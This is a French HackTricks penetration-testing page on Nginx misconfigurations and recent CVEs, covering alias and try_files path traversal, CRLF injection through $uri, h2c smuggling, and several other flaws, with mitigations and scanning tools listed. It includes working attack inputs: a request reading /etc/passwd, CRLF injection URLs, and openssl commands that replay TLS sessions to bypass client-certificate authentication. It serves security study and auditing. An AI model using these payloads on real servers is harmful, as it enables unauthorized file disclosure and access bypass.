Nginx

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Location root manquante

Lors de la configuration du serveur Nginx, la root directive joue un rôle crucial en définissant le répertoire de base à partir duquel les fichiers sont servis. Considérez l’exemple ci-dessous:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

Dans cette configuration, /etc/nginx est désigné comme répertoire root. Ce paramétrage permet l’accès aux fichiers dans le répertoire root spécifié, comme /hello.txt. Cependant, il est crucial de noter que seule une location spécifique (/hello.txt) est définie. Il n’y a pas de configuration pour la location racine (location / {...}). Cette omission signifie que la directive root s’applique globalement, permettant aux requêtes vers le chemin racine / d’accéder aux fichiers sous /etc/nginx.

Une considération de sécurité critique découle de cette configuration. Une simple requête GET, telle que GET /nginx.conf, pourrait exposer des informations sensibles en servant le fichier de configuration Nginx situé à /etc/nginx/nginx.conf. Définir le root sur un répertoire moins sensible, comme /etc, pourrait atténuer ce risque, mais cela peut toujours permettre un accès non intentionnel à d’autres fichiers critiques, y compris d’autres fichiers de configuration, des journaux d’accès, et même des identifiants chiffrés utilisés pour l’authentification HTTP basique.

Mauvaise configuration Alias LFI

Dans les fichiers de configuration de Nginx, une inspection attentive des directives “location” s’impose. Une vulnérabilité connue sous le nom de Local File Inclusion (LFI) peut être introduite involontairement via une configuration ressemblant à la suivante :

location /imgs {
alias /path/images/;
}

Cette configuration est sujette aux attaques LFI car le serveur interprète des requêtes comme /imgs../flag.txt comme une tentative d’accéder à des fichiers en dehors du répertoire prévu, résolvant effectivement vers /path/images/../flag.txt. Cette faille permet à des attaquants de récupérer des fichiers du système de fichiers du serveur qui ne devraient pas être accessibles via le web.

Pour atténuer cette vulnérabilité, la configuration devrait être ajustée pour :

location /imgs/ {
alias /path/images/;
}

Plus d’informations : https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Tests Accunetix :

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Restriction de chemin non sécurisée

Consultez la page suivante pour apprendre comment contourner des directives telles que :

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Utilisation non sécurisée de variables / HTTP Request Splitting

Caution

Les variables vulnérables $uri et $document_uri — cela peut être corrigé en les remplaçant par $request_uri.

Une regex peut aussi être vulnérable comme :

location ~ /docs/([^/])? { … $1 … } - Vulnérable

location ~ /docs/([^/\s])? { … $1 … } - Non vulnérable (vérifie les espaces)

location ~ /docs/(.*)? { … $1 … } - Non vulnérable

Une vulnérabilité dans la configuration Nginx est démontrée par l’exemple ci‑dessous :

location / {
return 302 https://example.com$uri;
}

Les caractères \r (retour chariot) et \n (saut de ligne) désignent des caractères de nouvelle ligne dans les requêtes HTTP, et leurs formes encodées en URL sont représentées par %0d%0a. Inclure ces caractères dans une requête (par ex., http://localhost/%0d%0aDetectify:%20clrf) vers un serveur mal configuré entraîne que le serveur émet un nouvel en-tête nommé Detectify. Cela se produit parce que la variable $uri décode les caractères de nouvelle ligne encodés en URL, conduisant à un en-tête inattendu dans la réponse :

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

En savoir plus sur les risques de CRLF injection et response splitting sur https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Cette technique est également expliquée dans cette présentation avec quelques exemples vulnérables et des mécanismes de détection. Par exemple, pour détecter cette mauvaise configuration depuis une perspective blackbox, vous pouvez envoyer ces requêtes :

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

Si vulnérable, la première renverra car “X” est n’importe quelle méthode HTTP et la seconde renverra une erreur car H n’est pas une méthode valide. Ainsi, le serveur recevra quelque chose comme : GET / H HTTP/1.1 et cela déclenchera l’erreur.

Un autre exemple de détection serait :

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Certaines configurations vulnérables présentées dans cette conférence étaient :

  • Notez comment $uri est laissé tel quel dans l’URL finale
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Remarquez à nouveau que $uri est dans l’URL (cette fois à l’intérieur d’un paramètre)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Maintenant sur AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

N’importe quelle variable

Il a été découvert que des données fournies par l’utilisateur pouvaient être traitées comme une variable Nginx dans certaines circonstances. La cause de ce comportement reste quelque peu obscure, et ce n’est ni rare ni facile à vérifier. Cette anomalie a été mise en évidence dans un rapport de sécurité sur HackerOne, consultable here. Une investigation plus approfondie du message d’erreur a permis d’identifier son apparition dans le SSI filter module of Nginx’s codebase, désignant Server Side Includes (SSI) comme cause principale.

Pour détecter cette mauvaise configuration, la commande suivante peut être exécutée, en définissant un en-tête Referer pour tester l’affichage de la variable :

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Des analyses de cette mauvaise configuration sur plusieurs systèmes ont révélé de multiples cas où des variables Nginx pouvaient être affichées par un utilisateur. Cependant, une diminution du nombre de cas vulnérables suggère que les efforts pour corriger ce problème ont été en partie efficaces.

Utilisation de try_files avec les variables $URI$ARGS

La mauvaise configuration Nginx suivante peut conduire à une vulnérabilité LFI :

location / {
try_files $uri$args $uri$args/ /index.html;
}

Dans notre configuration, nous avons la directive try_files qui est utilisée pour vérifier l’existence de fichiers dans un ordre spécifié. Nginx servira le premier qu’il trouvera. La syntaxe de base de la directive try_files est la suivante :

try_files file1 file2 ... fileN fallback;

Nginx vérifiera l’existence de chaque fichier dans l’ordre spécifié. Si un fichier existe, il sera servi immédiatement. Si aucun des fichiers spécifiés n’existe, la requête sera transmise à l’option de repli, qui peut être un autre URI ou une page d’erreur spécifique.

Cependant, lorsqu’on utilise les variables $uri$args dans cette directive, Nginx va tenter de chercher un fichier correspondant à l’URI de la requête combinée avec les arguments de la query string. Par conséquent, nous pouvons exploiter cette configuration :

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Avec la charge utile suivante :

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

En utilisant notre payload, nous échapperons au répertoire racine (défini dans la configuration Nginx) et chargerons le fichier /etc/passwd. Dans les journaux de débogage, nous pouvons observer comment Nginx tente les fichiers :

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC contre Nginx en utilisant la configuration mentionnée ci‑dessus : Example burp request

Lecture brute de la réponse du backend

Nginx offre une fonctionnalité via proxy_pass qui permet d’intercepter les erreurs et les en-têtes HTTP produits par le backend, afin de masquer les messages d’erreur internes et les en-têtes. Cela se fait en faisant servir par Nginx des pages d’erreur personnalisées en réponse aux erreurs du backend. Cependant, des problèmes surviennent lorsque Nginx reçoit une requête HTTP invalide. Une telle requête est transmise au backend telle quelle, et la réponse brute du backend est alors renvoyée directement au client sans l’intervention de Nginx.

Considérez un exemple impliquant une application uWSGI :

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Pour gérer cela, des directives spécifiques dans la configuration Nginx sont utilisées :

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors : Cette directive permet à Nginx de servir une réponse personnalisée pour les réponses backend dont le code de statut est supérieur à 300. Elle garantit que, pour notre exemple d’application uWSGI, une réponse 500 Error est interceptée et gérée par Nginx.
  • proxy_hide_header : Comme son nom l’indique, cette directive masque certains en-têtes HTTP au client, améliorant ainsi la confidentialité et la sécurité.

Lorsqu’une requête GET valide est effectuée, Nginx la traite normalement et renvoie une réponse d’erreur standard sans révéler d’en-têtes secrets. Cependant, une requête HTTP invalide contourne ce mécanisme, entraînant l’exposition des réponses brutes du backend, y compris des en-têtes secrets et des messages d’erreur.

merge_slashes réglé sur off

Par défaut, la directive merge_slashes de Nginx est réglée sur on, ce qui compresse plusieurs slashs consécutifs dans une URL en un seul slash. Cette fonctionnalité, tout en simplifiant le traitement des URLs, peut involontairement masquer des vulnérabilités dans les applications derrière Nginx, en particulier celles susceptibles aux attaques de local file inclusion (LFI). Les experts en sécurité Danny Robinson and Rotem Bar ont souligné les risques potentiels associés à ce comportement par défaut, surtout lorsque Nginx joue le rôle de reverse-proxy.

Pour atténuer ces risques, il est recommandé de désactiver la directive merge_slashes pour les applications susceptibles à ces vulnérabilités. Cela garantit que Nginx transmet les requêtes à l’application sans modifier la structure de l’URL, n’occultant ainsi aucun problème de sécurité sous-jacent.

Pour plus d’informations, consultez Danny Robinson and Rotem Bar.

En-têtes de réponse Maclicious

Comme le montre this writeup, certains en-têtes présents dans la réponse du serveur web peuvent modifier le comportement du proxy Nginx. Vous pouvez les consulter in the docs:

  • X-Accel-Redirect : Indique à Nginx de rediriger en interne une requête vers un emplacement spécifié.
  • X-Accel-Buffering : Contrôle si Nginx doit bufferiser la réponse ou non.
  • X-Accel-Charset : Définit le jeu de caractères pour la réponse lorsqu’on utilise X-Accel-Redirect.
  • X-Accel-Expires : Définit le temps d’expiration pour la réponse lorsqu’on utilise X-Accel-Redirect.
  • X-Accel-Limit-Rate : Limite le débit de transfert des réponses lorsqu’on utilise X-Accel-Redirect.

Par exemple, l’en-tête X-Accel-Redirect provoquera une redirection interne dans nginx. Ainsi, avoir une configuration nginx avec par exemple root / et une réponse du serveur web contenant X-Accel-Redirect: .env fera que nginx enverra le contenu de /.env (Path Traversal).

Valeur par défaut dans la directive map

Dans la configuration Nginx, la directive map joue souvent un rôle dans le contrôle d’autorisation. Une erreur fréquente est de ne pas spécifier de valeur par défaut, ce qui peut conduire à un accès non autorisé. Par exemple :

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Sans default, un utilisateur malveillant peut contourner la sécurité en accédant à un URI non défini dans /map-poc. The Nginx manual conseille de définir une valeur par défaut pour éviter ce type de problème.

DNS Spoofing Vulnerability

Le spoofing DNS contre Nginx est réalisable dans certaines conditions. Si un attaquant connaît le serveur DNS utilisé par Nginx et peut intercepter ses requêtes DNS, il peut falsifier les enregistrements DNS. Cette méthode, toutefois, est inefficace si Nginx est configuré pour utiliser localhost (127.0.0.1) pour la résolution DNS. Nginx permet de spécifier un DNS server comme suit:

resolver 8.8.8.8;

proxy_pass et internal Directives

La directive proxy_pass est utilisée pour rediriger les requêtes vers d’autres serveurs, en interne ou en externe. La directive internal garantit que certaines locations ne sont accessibles que depuis Nginx. Bien que ces directives ne soient pas des vulnérabilités en elles-mêmes, leur configuration doit être examinée attentivement pour prévenir des failles de sécurité.

proxy_set_header Upgrade & Connection

Si le serveur nginx est configuré pour transmettre les en-têtes Upgrade et Connection, une h2c Smuggling attack pourrait être effectuée pour accéder à des endpoints protégés/internes.

Caution

Cette vulnérabilité permettrait à un attaquant d’établir une connexion directe avec le endpoint proxy_pass (http://backend:9999 dans ce cas) dont le contenu ne sera pas vérifié par nginx.

Exemple de configuration vulnérable permettant de voler /flag depuis ici:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Notez que même si le proxy_pass pointait vers un chemin spécifique tel que http://backend:9999/socket.io, la connexion sera établie avec http://backend:9999 ; vous pouvez donc contacter n’importe quel autre chemin à l’intérieur de ce point de terminaison interne. Donc peu importe si un chemin est spécifié dans l’URL de proxy_pass.

Module HTTP/3 QUIC — DoS distant & leak (2024)

Pendant 2024, Nginx a divulgué CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 et CVE-2024-35200 montrant qu’une seule session QUIC hostile peut planter les processus worker ou provoquer un leak de mémoire dès lors que le module expérimental ngx_http_v3_module est compilé et qu’un socket listen ... quic est exposé. Les builds impactés sont 1.25.0–1.25.5 et 1.26.0, tandis que 1.27.0/1.26.1 contiennent les correctifs ; la divulgation de mémoire (CVE-2024-34161) requiert en outre des MTU supérieurs à 4096 octets pour faire remonter des données sensibles (détails dans l’avis nginx 2024 référencé ci-dessous).

Conseils de reconnaissance et d’exploitation

  • HTTP/3 est opt-in, donc scannez la présence de réponses Alt-Svc: h3=":443" ou tentez des handshakes QUIC sur UDP/443 en brute-force ; une fois confirmé, fuzz the handshake and STREAM frames with custom quiche-client/nghttp3 payloads to trigger worker crashes and force un leak des logs.
  • Identifiez rapidement le support de la cible avec :
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

Bypass de reprise de session TLS de l’authentification par certificat client (CVE-2025-23419)

Un avis de février 2025 a révélé que nginx 1.11.4–1.27.3 compilé avec OpenSSL permet de réutiliser une session TLS 1.3 d’un hôte virtuel basé sur le nom dans un autre, de sorte qu’un client ayant négocié un hôte sans certificat peut rejouer le ticket/PSK pour sauter dans un vhost protégé par ssl_verify_client on; et contourner complètement le mTLS. Le bug se déclenche chaque fois que plusieurs hôtes virtuels partagent le même cache de session TLS 1.3 et les mêmes tickets (voir l’avis nginx 2025 référencé ci‑dessous).

Playbook de l’attaquant

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

If the target is vulnerable, the second handshake completes without presenting a client certificate, revealing protected locations.

Ce qu’il faut auditer

  • Blocs server_name mixtes qui partagent ssl_session_cache shared:SSL ainsi que ssl_session_tickets on;.
  • Blocs Admin/API qui s’attendent à mTLS mais héritent des paramètres de cache de session/tickets partagés depuis des hôtes publics.
  • Automatisation qui active la session resumption TLS 1.3 globalement (e.g., Ansible roles) sans tenir compte de l’isolation des vhosts.

Résilience contre HTTP/2 Rapid Reset (comportement CVE-2023-44487)

L’attaque HTTP/2 Rapid Reset (CVE-2023-44487) affecte toujours nginx lorsque les opérateurs augmentent keepalive_requests ou http2_max_concurrent_streams au-delà des valeurs par défaut : un attaquant ouvre une connexion HTTP/2, la remplit de milliers de streams, puis envoie immédiatement des trames RST_STREAM de sorte que le plafond de concurrence n’est jamais atteint tandis que le CPU continue de s’épuiser sur la logique de tear-down. Les valeurs par défaut de nginx (128 concurrent streams, 1000 keepalive requests) limitent le rayon d’action ; pousser ces limites “substantiellement plus haut” rend trivial d’affamer les workers même à partir d’un seul client (voir le write-up F5 référencé ci-dessous).

Conseils de détection

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Les hôtes qui exposent des valeurs anormalement élevées pour ces directives sont des cibles de choix : un client HTTP/2 peut boucler la création de flux et l’envoi instantané de trames RST_STREAM pour garder le CPU saturé sans déclencher la limite de concurrence.

Essayez-le vous-même

Detectify a créé un dépôt GitHub où vous pouvez utiliser Docker pour mettre en place votre propre serveur de test Nginx vulnérable avec certaines des mauvaises configurations discutées dans cet article et essayer de les trouver vous-même !

https://github.com/detectify/vulnerable-nginx

Outils d’analyse statique

GIXY

Gixy est un outil d’analyse de la configuration Nginx. L’objectif principal de Gixy est de prévenir les mauvaises configurations de sécurité et d’automatiser la détection des failles.

Nginxpwner

Nginxpwner est un outil simple pour rechercher des mauvaises configurations courantes de Nginx et des vulnérabilités.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks